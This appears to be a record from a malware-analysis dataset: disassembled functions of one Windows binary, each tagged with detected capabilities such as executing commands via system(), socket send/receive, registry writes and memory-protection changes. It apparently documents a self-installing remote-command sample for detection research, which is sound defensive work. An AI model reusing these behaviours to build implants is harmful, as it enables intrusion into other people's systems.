joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001c62
Capabilities:
Execute command

Disassembly:
push rbp
push rbx
sub rsp, 0xa8
lea rbp, [rsp + 0xa0]
mov qword [rbp + 0x20], rcx
mov rdx, qword [rbp + 0x20]
lea rax, [rbp - 0x40]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp - 0x60]
lea rdx, [rbp - 0x40]
mov rcx, rax
call method.Utils.getThisFileLocation_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
call method.InstallApplication.isApplicationInstalled__
xor eax, 1
test al, al
je 0x140001d55
lea rax, str.hello3
mov rdx, rax
mov rax, qword [0x1400c51b0]
mov rcx, rax
call dbg.std::basic_ostream<char, std::char_traits<char> >& std::operator<< <std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&, char const*)
mov rcx, rax
mov rax, qword [str._U_v_]
mov rdx, rax
call dbg.std::ostream::operator<<(std::ostream& (*)(std::ostream&))
mov rcx, rax
mov rax, qword [str.0V_v_]
mov rdx, rax
call dbg.std::ostream::operator<<(std::ostream& (*)(std::ostream&))
lea rdx, [rbp - 0x60]
lea rax, [rbp - 0x20]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp - 0x20]
mov rcx, rax
call method.InstallApplication.installApplication_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp - 0x20]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, str.hello
mov rdx, rax
mov rax, qword [0x1400c51b0]
mov rcx, rax
call dbg.std::basic_ostream<char, std::char_traits<char> >& std::operator<< <std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&, char const*)
mov rcx, rax
mov rax, qword [str._U_v_]
mov rdx, rax
call dbg.std::ostream::operator<<(std::ostream& (*)(std::ostream&))
mov rcx, rax
mov rax, qword [str.0V_v_]
mov rdx, rax
call dbg.std::ostream::operator<<(std::ostream& (*)(std::ostream&))
lea rax, [rbp - 0x80]
lea rdx, [rbp - 0x60]
lea r8, str._remote_
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
lea rax, [rbp - 0x80]
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::c_str() const
mov rcx, rax
call sym.system
lea rax, [rbp - 0x80]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
jmp 0x140001df1
add rsp, 0xa8
pop rbx
pop rbp
ret
Function at 0x1400025d6
Capabilities:
Create directory

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::c_str() const
mov rcx, rax
call sym.mkdir
nop
add rsp, 0x20
pop rbp
ret

Function at 0x140002d30
Capabilities:
Initialize winsock library

Disassembly:
push rbp
sub rsp, 0x1c0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x150], rcx
lea rax, [rbp - 0x60]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
add rsp, 0x1c0
pop rbp
ret

Function at 0x140002d66
Capabilities:
Resolve dns

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
lea rbp, [rsp + 0x50]
mov qword [rbp + 0x30], rcx
mov rax, qword [rbp + 0x30]
add rax, 0x10
mov r8d, 0x30
mov edx, 0
mov rcx, rax
call sym.memset
mov rax, qword [rbp + 0x30]
mov dword [rax + 0x14], 0
mov rax, qword [rbp + 0x30]
mov dword [rax + 0x18], 1
mov rax, qword [rbp + 0x30]
mov dword [rax + 0x1c], 6
mov rsi, qword [rbp + 0x30]
mov rax, qword [rbp + 0x30]
lea rdi, [rax + 0x10]
mov rax, qword [rbp + 0x30]
mov edx, dword [rax + 0x70]
lea rax, [rbp - 0x30]
mov rcx, rax
call method.std::__cxx11.to_string_int_
lea rax, [rbp - 0x30]
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::c_str() const
mov rbx, rax
mov rax, qword [rbp + 0x30]
add rax, 0x50
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::c_str() const
mov r9, rsi
mov r8, rdi
mov rdx, rbx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_getaddrinfo]
call rax
mov dword [rbp - 4], eax
lea rax, [rbp - 0x30]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
cmp dword [rbp - 4], 0
je 0x140002e2e
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov eax, 1
jmp 0x140002ec6
mov rax, qword [rbp + 0x30]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x30]
mov qword [rax + 8], rdx
mov rax, qword [rbp + 0x30]
mov rax, qword [rax + 8]
mov ecx, dword [rax + 0xc]
mov rax, qword [rbp + 0x30]
mov rax, qword [rax + 8]
mov edx, dword [rax + 8]
mov rax, qword [rbp + 0x30]
mov rax, qword [rax + 8]
mov eax, dword [rax + 4]
mov r8d, ecx
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_socket]
call rax
mov rdx, qword [rbp + 0x30]
mov qword [rdx + 0x40], rax
mov rax, qword [rbp + 0x30]
mov rax, qword [rax + 0x40]
cmp rax, 0xffffffffffffffff
jne 0x140002ea5
mov rax, qword [rbp + 0x30]
mov rax, qword [rax]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_freeaddrinfo]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov eax, 2
jmp 0x140002ec6
mov eax, 0
jmp 0x140002ec6
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
ret
Function at 0x140002f2e
Capabilities:
Set socket configuration

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp + 0x10], rcx
mov dword [rbp + 0x18], edx
mov eax, dword [rbp + 0x18]
mov dword [rbp - 8], eax
mov dword [rbp - 4], 0
mov rax, qword [rbp + 0x10]
mov rax, qword [rax + 0x40]
lea rdx, [rbp - 8]
mov dword [rsp + 0x20], 8
mov r9, rdx
mov r8d, 0x1006
mov edx, 0xffff
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_setsockopt]
call rax
shr eax, 0x1f
test al, al
je 0x140002f86
mov eax, 9
jmp 0x140002fc7
mov rax, qword [rbp + 0x10]
mov rax, qword [rax + 0x40]
lea rdx, [rbp - 8]
mov dword [rsp + 0x20], 8
mov r9, rdx
mov r8d, 0x1005
mov edx, 0xffff
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_setsockopt]
call rax
shr eax, 0x1f
test al, al
je 0x140002fc2
mov eax, 0xa
jmp 0x140002fc7
mov eax, 0
add rsp, 0x40
pop rbp
ret

Function at 0x140002fce
Capabilities:
Send data
Send data on socket

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x18]
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::c_str() const
mov qword [rbp - 8], rax
mov rax, qword [rbp + 0x18]
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::length() const
mov dword [rbp - 0xc], eax
mov rax, qword [rbp + 0x10]
mov rax, qword [rax + 0x40]
mov ecx, dword [rbp - 0xc]
mov rdx, qword [rbp - 8]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov dword [rbp - 0x10], eax
cmp dword [rbp - 0x10], 0xffffffff
jne 0x140003031
mov eax, 6
jmp 0x140003036
mov eax, 0
add rsp, 0x30
pop rbp
ret

Function at 0x14000303c
Capabilities:
Receive data
Receive data on socket

Disassembly:
push rbp
push rbx
sub rsp, 0x58
lea rbp, [rsp + 0x50]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov rax, qword [rbp + 0x20]
mov rcx, rax
call method.receivedataevent.receivedataevent__
lea rax, [rbp - 0xd]
mov rcx, rax
call fcn.140070540
lea rdx, [rbp - 0xd]
lea rax, [rbp - 0x30]
mov r8, rdx
lea rdx, [0x1400bf290]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp - 0xd]
mov rcx, rax
call sym.std::allocator_char_::allocator__
mov qword [rbp - 8], 0
mov rax, qword [rbp + 0x28]
lea rdx, [rax + 0x48]
mov rax, qword [rbp + 0x28]
mov rax, qword [rax + 0x40]
mov r9d, 0
mov r8d, 1
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
mov dword [rbp - 0xc], eax
cmp dword [rbp - 0xc], 0
jne 0x1400030d3
mov rax, qword [rbp + 0x20]
mov dword [rax + 0x20], 7
jmp 0x1400030df
mov rax, qword [rbp + 0x20]
mov dword [rax + 0x20], 8
nop
lea rax, [rbp - 0x30]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
jmp 0x140003124
mov rax, qword [rbp + 0x20]
add rsp, 0x58
pop rbx
pop rbp
ret
Function at 0x1400032d5
Capabilities:
Get common file path
Get program files directory

Disassembly:
push rbp
push rbx
sub rsp, 0x138
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xd0], rcx
lea rax, [rbp - 0x60]
mov r9d, 0
mov r8d, 0x26
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
call rax
lea rax, [rbp + 0xaf]
mov rcx, rax
call fcn.140070540
lea rcx, [rbp + 0xaf]
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0xd0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0xaf]
mov rcx, rax
call sym.std::allocator_char_::allocator__
jmp 0x140003368
mov rax, qword [rbp + 0xd0]
add rsp, 0x138
pop rbx
pop rbp
ret

Function at 0x140003379
Capabilities:
Set registry value

Disassembly:
push rbp
push rbx
sub rsp, 0x48
lea rbp, [rsp + 0x40]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov dword [rbp + 0x30], r8d
mov qword [rbp + 0x38], r9
lea rdx, [rbp - 8]
mov rax, qword [rbp + 0x20]
mov r8, rdx
mov rdx, rax
mov rcx, 0xffffffff80000003
mov rax, qword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
call rax
mov rax, qword [rbp + 0x38]
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::length() const
mov ebx, eax
mov rax, qword [rbp + 0x38]
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::c_str() const
mov rcx, rax
mov rax, qword [rbp - 8]
mov r8d, dword [rbp + 0x30]
mov rdx, qword [rbp + 0x28]
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rcx
mov r9d, r8d
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call rax
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
nop
add rsp, 0x48
pop rbx
pop rbp
ret

Function at 0x14000c980
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]
Function at 0x14000c9f0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1400ef0d4]
mov rbx, rcx
test esi, esi
jle 0x14000cb20
mov rax, qword [0x1400ef0d8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x14000ca3b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x14000cac5
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x14000ca20
mov rcx, rbx
call sym.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x14000cb42
mov rax, qword [0x1400ef0d8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call sym._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1400ef0d8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x14000cb27
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x14000cabe
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x14000cad0
add dword [0x1400ef0d4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x1400ef0d8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000cabe
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
nop dword [rax]
xor esi, esi
jmp 0x14000ca48
mov rax, qword [0x1400ef0d8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call sym.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call sym.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x14000d0b0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x1400ef140]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400ef120]
test rbx, rbx
je 0x14000d10c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x14000d103
test rsi, rsi
je 0x14000d103
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x14000d0e8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x14000d320
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x14000d338
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x14000d340
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret
Function at 0x14000d350
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x14000d39d
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x14000d394
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x14000d39f
add rax, 0x28
cmp rax, r9
jne 0x14000d380
xor eax, eax
ret

Function at 0x14000d3a0
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x14000d430
mov rdx, qword [0x1400c57a0]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x14000d41e
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x14000d41e
cmp word [rax + 0x18], 0x20b
jne 0x14000d41e
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x14000d430
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x14000d409
add rbx, 0x28
cmp rbx, rdi
je 0x14000d430
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x14000d400
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x14000d440
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400c57a0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x14000d460
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x14000d468
ret
cmp word [r8 + 0x18], 0x20b
jne 0x14000d460
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000d4bd
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x14000d4b4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x14000d460
add rax, 0x28
cmp rax, r9
jne 0x14000d4a0
xor eax, eax
ret

Function at 0x14000d4c0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400c57a0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000d4df
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x14000d4e8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000d4df
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x14000d500
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x1400c57a0]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x14000d520
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x14000d528
ret
cmp word [rdx + 0x18], 0x20b
jne 0x14000d520
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x14000d570
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x14000d567
test rcx, rcx
je 0x14000d520
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x14000d558
xor eax, eax
ret
Function at 0x14000d580
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400c57a0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000d59f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x14000d5a8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x14000d5c0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400c57a0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x14000d5e0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x14000d5e8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x14000d5e0
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x14000d5e0
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x14000d634
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x14000d640
add rdx, 0x28
cmp r9, rdx
jne 0x14000d620
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x14000d650
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x1400c57a0]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x14000d672
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x14000d680
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x14000d672
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x14000d672
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x14000d672
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x14000d6d5
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x14000d6e8
add rdx, 0x28
cmp rdx, r10
jne 0x14000d6c0
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x14000d6f7
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x14000d707
mov edx, dword [rax + 0xc]
test edx, edx
je 0x14000d6de
test ecx, ecx
jg 0x14000d6f0
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret

Function at 0x1400167f0
Capabilities:
Generate random numbers via rtlgenrandom

Disassembly:
push rsi
push rbx
sub rsp, 0x28
mov rbx, rcx
lea rcx, str.msvcrt.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rsi, qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.rand_s
mov rcx, rax
call rsi
test rax, rax
je 0x140016838
mov rcx, rbx
mov qword [sym.init_rand_s], rax
add rsp, 0x28
pop rbx
pop rsi
jmp rax
lea rcx, str.advapi32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rdx, str.SystemFunction036
mov rcx, rax
call rsi
mov qword [0x1400efcc0], rax
lea rax, [sym.mingw_rand_s]
jmp 0x14001681e

Function at 0x140018dc0
Capabilities:
Allocate thread local storage

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
mov dword [0x1400bc178], eax
cmp eax, 0xffffffff
je 0x140018dda
add rsp, 0x28
ret
call sym.abort
nop
Function at 0x140018de0
Capabilities:
Print debug messages

Disassembly:
sub rsp, 0x98
movabs rax, 0x6c6320726f727245
movabs rdx, 0x7520676e696e6165
mov qword [rsp + 0x20], rax
movabs rax, 0x6b5f6e6970732070
mov qword [rsp + 0x28], rdx
movabs rdx, 0x20726f6620737965
mov qword [rsp + 0x30], rax
movabs rax, 0x20646165726874
mov qword [rsp + 0x38], rdx
xor edx, edx
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x78], 0
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x68], 0
mov qword [rsp + 0x70], 0
mov qword [rsp + 0x7b], 0
mov qword [rsp + 0x83], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
lea rdx, [rsp + 0x47]
mov r8d, 0xa
mov ecx, eax
call qword [sym.imp.msvcrt.dll__ultoa]
cmp byte [rsp + 0x47], 0
je 0x140018ee2
mov eax, 0x28
lea rcx, [rsp + 0x20]
jmp 0x140018eba
add rax, 1
cmp rax, 0x6b
je 0x140018ed7
cmp byte [rcx + rax], 0
jne 0x140018eb0
movsxd rdx, eax
cmp eax, 0x6a
je 0x140018ed7
add eax, 1
cdqe
mov byte [rsp + rdx + 0x20], 0xa
mov byte [rsp + rax + 0x20], 0
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call sym.abort
mov eax, 0x28
mov edx, 0x27
lea rcx, [rsp + 0x20]
jmp 0x140018ecb

Function at 0x140019280
Capabilities:
Allocate thread local storage

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
cmp dword [0x1400efd60], 1
je 0x1400192f8
lea rdi, [0x1400efd60]
mov rcx, rdi
call sym.enterOnceObject
lea rbp, [rax + 8]
mov rbx, rax
mov rcx, rbp
call sym.pthread_mutex_lock
mov esi, dword [0x1400efd60]
test esi, esi
jne 0x140019308
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
mov dword [0x1400bc178], eax
cmp eax, 0xffffffff
je 0x14001932f
mov dword [0x1400efd60], 1
mov rcx, rbp
call sym.pthread_mutex_unlock
test rbx, rbx
je 0x1400192f8
mov rcx, rbx
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp sym.leaveOnceObject.part.0
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
ret
cmp esi, 1
je 0x1400192d4
mov ecx, 2
call qword [sym.__acrt_iob_func]
mov r9d, esi
mov r8, rdi
lea rdx, str._once__p_is__d_n
mov rcx, rax
call sym.fprintf
jmp 0x1400192d4
call sym.abort
nop
nop word cs:[rax + rax]
Function at 0x140019340
Capabilities:
Set thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x48
call sym.pop_pthread_mem
cmp qword [sym.__dyn_tls_pthread], 0
mov rbx, rax
je 0x140019450
test rax, rax
je 0x140019450
mov dword [rax + 0x44], 1
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
xor ecx, ecx
xor r9d, r9d
xor r8d, r8d
mov dword [rbx + 0x70], eax
mov edx, 1
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [rbx + 0x38], 0xffffffffffffffff
lea rcx, [rbx + 0x68]
mov qword [rbx + 0x30], rax
call sym.pthread_spin_destroy
cmp eax, 1
je 0x14001945e
mov rbp, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rbx + 0x68], 0xffffffffffffffff
mov dword [rbx + 0xb8], 0
mov qword [rbx + 0x28], 0
call rbp
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rsi, rax
call rbp
mov dword [rsp + 0x30], 2
mov r8, rdi
mov rdx, rsi
mov dword [rsp + 0x28], 0
mov rcx, rax
lea r9, [rbx + 0x28]
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
test eax, eax
je 0x140019463
mov rcx, qword [rbx + 0x28]
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov ecx, dword [0x1400bc178]
mov rdx, rbx
mov dword [rbx + 0xbc], 0
mov dword [rbx + 0xc0], eax
movzx eax, byte [rbx + 0x40]
and eax, 0xffffffcf
or eax, 0x10
mov byte [rbx + 0x40], al
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
je 0x140019463
mov rax, rbx
add rsp, 0x48
pop rbx
pop rsi
pop rdi
pop rbp
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x48
pop rbx
pop rsi
pop rdi
pop rbp
ret
call sym.replace_spin_keys.part.0
call sym.abort
nop
nop dword [rax]

Function at 0x140019470
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
sub rsp, 0x28
call sym._pthread_once_raw.constprop.0.isra.0
mov ecx, dword [0x1400bc178]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
je 0x140019490
add rsp, 0x28
ret
add rsp, 0x28
jmp sym.__pthread_self_lite.part.0